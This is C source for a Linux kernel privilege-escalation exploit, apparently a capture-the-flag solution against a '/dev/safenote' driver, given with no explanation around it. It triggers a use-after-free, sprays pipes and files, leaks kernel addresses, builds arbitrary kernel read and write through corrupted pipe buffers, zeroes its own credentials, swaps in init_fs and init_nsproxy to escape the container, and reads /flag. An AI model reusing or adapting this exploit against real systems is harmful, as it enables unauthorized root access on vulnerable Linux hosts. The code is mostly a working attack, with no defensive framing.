#define _GNU_SOURCE #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/ioctl.h> #include <unistd.h> #include <sched.h> #include <sys/types.h> #include <linux/keyctl.h>
size_t user_cs, user_ss, user_rflags, user_sp; void save_status() { asm volatile ( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts("\033[34m\033[1m[*] Status has been saved.\033[0m"); }
void get_root_shell(){ printf("now pid == %p\n", getpid()); system("/bin/sh"); }
void bindCore(int core) { cpu_set_t cpu_set;
CPU_ZERO(&cpu_set); CPU_SET(core, &cpu_set); sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core); }
int dev_fd, uaf_fd; void inc_ref(int times){ if(!fork()){ for(int i = 0; i < times; i++) { if(dup(uaf_fd) < 0){ perror("dup"); break; } } sleep(1000); } }
#include <sys/ioctl.h> #include <sys/mman.h> #include <sys/types.h> #include <unistd.h>
#define DMA_HEAP_IOCTL_ALLOC 0xc0184800 typedef unsigned long long u64; typedef unsigned int u32; struct dma_heap_allocation_data { u64 len; u32 fd; u32 fd_flags; u64 heap_flags; };
int dmafd; size_t secondary;
int dev_fd; struct Mess{ int idx; }; struct Mess mess;
void add(int idx){ mess.idx = idx; ioctl(dev_fd, 0x1337, &mess); } void free_note(int idx){ mess.idx = idx; ioctl(dev_fd, 0x1338, &mess); } void uaf(int idx){ mess.idx = idx; ioctl(dev_fd, 0x1339, &mess); }
size_t ker_offset; size_t data[0x1000];
#include "key.h" #include "pg_vec.h" #include <sys/stat.h>
size_t ker_offset; int idx5, idx6, idx7, idx8; size_t page, ops;
size_t base_page; size_t page_offset_base;
int scan_mem(int pipe2[500][2], size_t offset){ base_page = page & 0xfffffffff0000000; size_t goal_page = base_page + 0x1000 * 0x40; goal_page += 0x2a77 * 0x40; goal_page += 0x100 * 0x40 * offset; int k = 0; size_t pay[0x1000]; memset(pay, 0, sizeof(pay)); pay[k++] = page; pay[k++] = 0x24000000000; pay[k++] = ops; pay[k++] = 0x10; pay[k++] = 0; while(k < 24) k++; pay[k++] = goal_page; pay[k++] = 0x100000000000; pay[k++] = ops; pay[k++] = 0x10; pay[k++] = 0; while(k < 48) k++; write(pipe2[idx8][1], pay, 48*8);
k = 0; memset(pay, 0, sizeof(pay)); pay[k++] = page; pay[k++] = 0xc000000000; pay[k++] = ops; pay[k++] = 0x10; pay[k++] = 0; write(pipe2[idx6][1], pay, 0x28);
char s[0x1000]; read(pipe2[idx7][0], s, 0xf00); printf("round %d\n", offset); if(!memcmp(s+0x7a0, "/sbin/modprobe", 14)) { puts(s+0x7a0); memcpy(data, s, 0xf00); for(int i = 0; i < 0xf0*2; i++){ if(data[i] >= 0xffff888000000000 && data[i] < 0xffffffff80000000){ printf("data -> %p\n", (void *)data[i]); page_offset_base = data[i] & 0xffffffff80000000; printf("page_offset_base == %p\n", (void *)page_offset_base); break; } } } return memcmp(s+0x7a0, "/sbin/modprobe", 14); }
size_t get_page(size_t page1, size_t addr1, size_t addr2){ size_t p1 = addr1 - (addr1 & 0xfff); size_t p2 = addr2 - (addr2 & 0xfff); size_t page2 = page1 + (long long int)(p2 - p1) / 0x1000 * 0x40; return page2;
}
size_t pipe_write; size_t fake_ops; void aaw(int pipe2[500][2], size_t goal_page, size_t offset, int len, void *con){ int k = 0; size_t pay[0x1000]; memset(pay, 0, sizeof(pay)); pay[k++] = page; pay[k++] = 0x24000000000; pay[k++] = ops; pay[k++] = 0x10; pay[k++] = 0; while(k < 24) k++; pay[k++] = goal_page; pay[k++] = offset * 0x100000000; pay[k++] = ops; pay[k++] = 0x10; pay[k++] = 0; while(k < 48) pay[k++] = 0; write(pipe2[idx8][1], pay, 48*8);
k = 0; memset(pay, 0, sizeof(pay)); pay[k++] = page; pay[k++] = 0xc000000000; pay[k++] = ops; pay[k++] = 0x10; pay[k++] = 0; write(pipe2[idx6][1], pay, 0x28); puts("write6"); getchar();
int l = write(pipe2[idx7][1], con, len); printf("aaw len == %d\n", l); if(l < 0){ perror("aaw"); } } void call_aaw(int pipe2[500][2], size_t addr, size_t value){ size_t offset = addr & 0xfff; addr = addr - offset; size_t goal_page = (addr - page_offset_base) / 0x1000 * 0x40 + base_page; aaw(pipe2, goal_page, offset, 8, &value); }
size_t mm_offset; size_t mm;
size_t scan_mem1(int pipe2[500][2], size_t offset){ base_page = page & 0xfffffffff0000000; size_t goal_page = base_page; goal_page += 0x40 * offset; int k = 0; size_t pay[0x1000]; memset(pay, 0, sizeof(pay)); pay[k++] = page; pay[k++] = 0x24000000000; pay[k++] = ops; pay[k++] = 0x10; pay[k++] = 0; while(k < 24) k++; pay[k++] = goal_page; pay[k++] = 0x100000000000; pay[k++] = ops; pay[k++] = 0x10; pay[k++] = 0; while(k < 48) k++; write(pipe2[idx8][1], pay, 48*8);
k = 0; memset(pay, 0, sizeof(pay)); pay[k++] = page; pay[k++] = 0xc000000000; pay[k++] = ops; pay[k++] = 0x10; pay[k++] = 0; write(pipe2[idx6][1], pay, 0x28);
char *s = malloc(0x2000); s = s - ((size_t)s&0x1000) + 0x1000; read(pipe2[idx7][0], s, 0xf00); void *ptr = memmem(s, 0xf00, "QianYiming", 10); if(ptr){ printf("ptr == %p\n", ptr); size_t offset = (char *)ptr-s; printf("offset == 0x%x\n", (char *)ptr-s); memcpy(&mm, ptr-0x288, 8); if(offset & 7 != 8) return 0LL; printf("mm == %p\n", (void *)mm); return goal_page; } return 0; }
size_t aar(int pipe2[500][2], size_t addr){ size_t page_offset = addr - (addr & 0xfff) - page_offset_base; size_t offset = addr & 0xfff; size_t goal_page = base_page + page_offset / 0x1000 * 0x40; int k = 0; size_t pay[0x1000]; memset(pay, 0, sizeof(pay)); pay[k++] = page; pay[k++] = 0x24000000000; pay[k++] = ops; pay[k++] = 0x10; pay[k++] = 0; while(k < 24) k++; pay[k++] = goal_page; pay[k++] = offset + 0xf00000000; pay[k++] = ops; pay[k++] = 0x10; pay[k++] = 0; while(k < 48) pay[k++] = 0; write(pipe2[idx8][1], pay, 48*8);
k = 0; memset(pay, 0, sizeof(pay)); pay[k++] = page; pay[k++] = 0xc000000000; pay[k++] = ops; pay[k++] = 0x10; pay[k++] = 0; write(pipe2[idx6][1], pay, 0x28);
size_t res = -1; read(pipe2[idx7][0], &res, 8); return res;
}
int pipe_fd; size_t add_rsp_0x350_ret; size_t add_rsp_0x220_ret;
void get_flag(){ char buf[0x100]; int fd = open("/flag", O_RDONLY); if (fd < 0) { puts("[-] Lose..."); } else { puts("[+] Win!"); read(fd, buf, 0x100); write(1, buf, 0x100); puts("[+] Done"); } while(1) ; }
int main(){
save_status(); bindCore(0); #include <sys/prctl.h> if(prctl(PR_SET_NAME, "QianYiming", NULL, NULL, NULL) < 0){ perror("prctl set name"); }
dev_fd = open("/dev/safenote", 2); printf("dev_fd == %d\n", dev_fd); int fd = open("/bin/busybox", 0); size_t data[0x1000];
#include <sys/mman.h> #define TOTOAL_PIPES 350 int pipe1[TOTOAL_PIPES][2]; for(int i = 0; i < TOTOAL_PIPES ; i++){ if(pipe(pipe1[i]) < 0){ perror("create pipe"); break; } memset(data, 'a', sizeof(data)); memcpy(data, &i, 4); write(pipe1[i][1], data, 0x1000); write(pipe1[i][1], data, 0x1000); write(pipe1[i][1], data, 0x1000); write(pipe1[i][1], data, 0x60); }
for(int i = 0; i < 0x100; i++) add(i); for(int i = 0; i < 0x100; i++){ if(i == 0x80){ uaf(i); } else{ free_note(i); } } puts("free done"); sleep(2); #define FILE_CNT 0x100
char name[0x100]; int file1[FILE_CNT]; int file2[FILE_CNT]; char con[0x1000]; struct stat file_stat;
for(int i = 0; i < FILE_CNT; i++){ sprintf(name, "/tmp/%d\x00", i); file1[i] = open(name, O_CREAT | O_RDWR, 0666); if(file1[i] < 0){ perror("open file1"); puts(name); break; } }
puts("free again"); free_note(0x80);
for(int i = 0; i < FILE_CNT; i++){ sprintf(name, "/tmp/%d\x00", i+FILE_CNT); file2[i] = open(name, O_CREAT | O_RDWR , 0666); if(file2[i] < 0){ perror("open file2"); puts(name); break; } }
for(int i = 0; i < FILE_CNT; i++){ write(file1[i], "AAAA", 4); write(file2[i], "AAAA", 4); } int victim_idx = -1; for(int i = 0; i < FILE_CNT; i++){ fstat(file2[i], &file_stat); if(file_stat.st_size == 8){ victim_idx = i; } } printf("victim_idx == %d\n", victim_idx); getchar();
for(int i = 0; i < FILE_CNT; i++){ close(file1[i]); if(i != victim_idx){ close(file2[i]); } } puts("close done"); sleep(2);
for(int i = 0; i < TOTOAL_PIPES; i++){ if(fcntl(pipe1[i][1], F_SETPIPE_SZ, 0x1000 * 4 ) < 0){ puts("set pipe size error!"); exit(-1); } }
puts("spray pipe done");
for(int i = 0; i < 0x100; i++){ dup(file2[victim_idx]); } puts("dup done");
int idx1 = -1; int idx2 = -1;
for(int i = 0; i < TOTOAL_PIPES; i++){ int num = -1; read(pipe1[i][0], data, 0x1000); read(pipe1[i][0], data, 0x1000); read(pipe1[i][0], data, 0x1000); read(pipe1[i][0], &num, 4); read(pipe1[i][0], data, 4); if(i != num){ idx1 = i; idx2 = num; break; } } printf("id == %d\n", getpid()); printf("idx1 == %d, idx2 == %d\n", idx1, idx2); getchar();
#define NEW_PIPE_NUMS 500 int pipe2[NEW_PIPE_NUMS][2]; for(int i = 0; i < NEW_PIPE_NUMS; i++){ if(pipe(pipe2[i]) < 0){ perror("create pipe2"); break; } write(pipe2[i][1], &i, 4); int tmp_num = 0; write(pipe2[i][1], &tmp_num, 4); tmp_num = 1; write(pipe2[i][1], &tmp_num, 4); tmp_num = 2; write(pipe2[i][1], &tmp_num, 4); tmp_num = 3; write(pipe2[i][1], &tmp_num, 4); } puts("create pipe2 done"); close(pipe1[idx1][0]); close(pipe1[idx1][1]);
puts("close pipe1 done, sleep for several seconds"); sleep(4);
for(int i = 0; i < NEW_PIPE_NUMS; i++){ if(fcntl(pipe2[i][1], F_SETPIPE_SZ, 0x1000 * 2 ) < 0){ perror("set pipe size error!"); printf("bad pipe == %d\n", pipe2[i][1]); break; } } printf("end fd == %d\n", pipe2[NEW_PIPE_NUMS-1][1]); memset(data, -1, sizeof(data)); for(int i = 0; i < 3; i++) read(pipe1[idx2][0], data, 0x1000); read(pipe1[idx2][0], data, 0x28); for(int i = 0; i < 5; i++){ printf("leak : %p\n", (void *)data[i]); } page = data[0]; ops = data[2]; ker_offset = ops - 0xffffffff82c208c0; printf("page == %p\n", (void *)page); printf("ops == %p\n", (void *)ops); printf("ker_offset == %p\n", (void *)ker_offset); getchar();
size_t pay[0x1000]; int k = 0; pay[k++] = page; pay[k++] = 0x800000000; pay[k++] = ops; pay[k++] = 0x10; pay[k++] = 0;
write(pipe1[idx2][1], pay, 0x28);
int idx3 = -1; int idx4 = -1; for(int i = 0; i < NEW_PIPE_NUMS; i++){ int num = -1; read(pipe2[i][0], &num, 4); if(num != i){ printf("num == %d, i == %d\n", num, i); idx3 = num; idx4 = i; break; }
} printf("idx3 == %d, idx4 == %d\n", idx3, idx4);
close(pipe2[idx3][0]); close(pipe2[idx3][1]);
for(int i = 0; i < NEW_PIPE_NUMS; i++){ if(i == idx3 || i == idx4) continue; if(fcntl(pipe2[i][1], F_SETPIPE_SZ, 0x1000 * 4 ) < 0){ perror("set pipe size error!"); printf("bad pipe == %d\n", pipe2[i][1]); break; } }
k = 0; pay[k++] = 0xff800000008; pay[k++] = ops; pay[k++] = 0x10; pay[k++] = 0x1234;
for(int i = 0; i < 24-5; i++) k++; pay[k++] = page; pay[k++] = 0x800000004; pay[k++] = ops; pay[k++] = 0x10; pay[k++] = 0;
for(int i = 0; i < 24-5; i++) k++; pay[k++] = page; pay[k++] = 0x800000018; pay[k++] = ops; pay[k++] = 0x10; pay[k++] = 0;
for(int i = 0; i < 24-5; i++) k++; pay[k++] = page; pay[k++] = 0x800000020; pay[k++] = ops; pay[k++] = 0x10; pay[k++] = 0;
write(pipe2[idx4][1], pay, 0x240-8+24*8);
idx5 = -1; idx6 = -1; idx7 = -1; idx8 = -1; for(int i = 0; i < NEW_PIPE_NUMS; i++){ if(i == idx3 || i == idx4) continue; int num = -1; read(pipe2[i][0], &num, 4); if(num == 1){ idx5 = i; } if(num < 0){ printf("i == %d, num == %d\n", i, num); idx6 = i; } if(num == 0x10){ printf("i == %d, num == %d\n", i, num); idx7 = i; } if(num == 0x1234){ printf("i == %d, num == %d\n", i, num); idx8 = i; }
} printf("idx5 == %d, idx6 == %d, idx7 == %d, idx8 == %d\n", idx5, idx6, idx7, idx8); getchar();
for(k = 0; k < 19; k++) pay[k] = 0LL; pay[k++] = page; pay[k++] = 0x24000000000; pay[k++] = ops; pay[k++] = 0x10; pay[k++] = 0;
write(pipe2[idx8][1], pay, 24*8);
k = 0; pay[k++] = page; pay[k++] = 0xc000000000; pay[k++] = ops; pay[k++] = 0x10; pay[k++] = 0;
write(pipe2[idx6][1], pay, 0x28);
size_t koff = -1;
for(int i = 0; i < 0x1000; i++){ if(scan_mem(pipe2, i) == 0){ koff = i; break; } } base_page = page & 0xfffffffff0000000; size_t modprobe_page = base_page + 0x1000 * 0x40; modprobe_page += 0x2a77 * 0x40; modprobe_page += 0x100 * 0x40 * koff;
printf("modprobe_page == %p\n", (void *)modprobe_page);
size_t modprobe = 0xffffffff83a777a0; size_t kfree = 0xffffffff81377670; size_t pipe_release = 0xffffffff81423430; size_t setresuid = 0xffffffff811af550;
size_t pipe_release_page = get_page(modprobe_page, modprobe, pipe_release); printf("pipe_release_page == %p\n", (void *)pipe_release_page); size_t kfree_page = get_page(modprobe_page, modprobe, kfree); printf("kfree_page == %p\n", (void *)kfree_page);
size_t setresuid_page = get_page(modprobe_page, modprobe, setresuid); printf("setresuid_page == %p\n", (void *)setresuid_page);
printf("page_offset_base == %p\n", page_offset_base);
size_t init_cred = ker_offset + 0xffffffff83a76b00; size_t init_task = ker_offset + 0xffffffff83a15a40; printf("aar : %p\n", (void *)aar(pipe2, page_offset_base));
size_t init_task_page = get_page(modprobe_page, modprobe, init_task); printf("init_task_page == %p\n", (void *)init_task_page);
size_t init_task_dir_addr = (init_task_page - base_page) / 0x40 * 0x1000 + page_offset_base + 0xa40; printf("init_task_dir_addr == %p\n", (void *)init_task_dir_addr);
size_t task = aar(pipe2, init_task_dir_addr+0x510); printf("task == %p\n", (void *)task);
size_t my_task = -1; while(task){ task = aar(pipe2, task); char name[0x20]; memset(name, 0, sizeof(name)); size_t vv; vv = aar(pipe2, task-0x510+0x7e8); memcpy(name, &vv, 8); vv = aar(pipe2, task-0x510+0x7e8+8); memcpy(name+8, &vv, 8); if(!memcmp(name, "QianYiming", 10)){ my_task = task - 0x510; break; }
} printf("my_task == %p\n", (void *)my_task); size_t my_cred = aar(pipe2, my_task+0x7d0); printf("my_cred == %p\n", (void *)my_cred); getchar();
pipe_write = ker_offset + 0xffffffff814223a0; size_t my_pipe = (page - base_page) / 0x40 * 0x1000 + page_offset_base; printf("my_pipe == %p\n", (void *)my_pipe);
fake_ops = my_pipe + 53*8; for(int i = 0; i <= 0x28; i += 8){ call_aaw(pipe2, my_cred + i, 0LL); }
size_t init_fs = ker_offset + 0xffffffff83bb5320; size_t init_nsproxy = ker_offset + 0xffffffff83a768c0;
call_aaw(pipe2, my_task+0x828, init_fs); call_aaw(pipe2, my_task+0x838, init_nsproxy); system("id"); printf("id == %d\n", getpid());
get_flag();
puts("end"); getchar();
}
|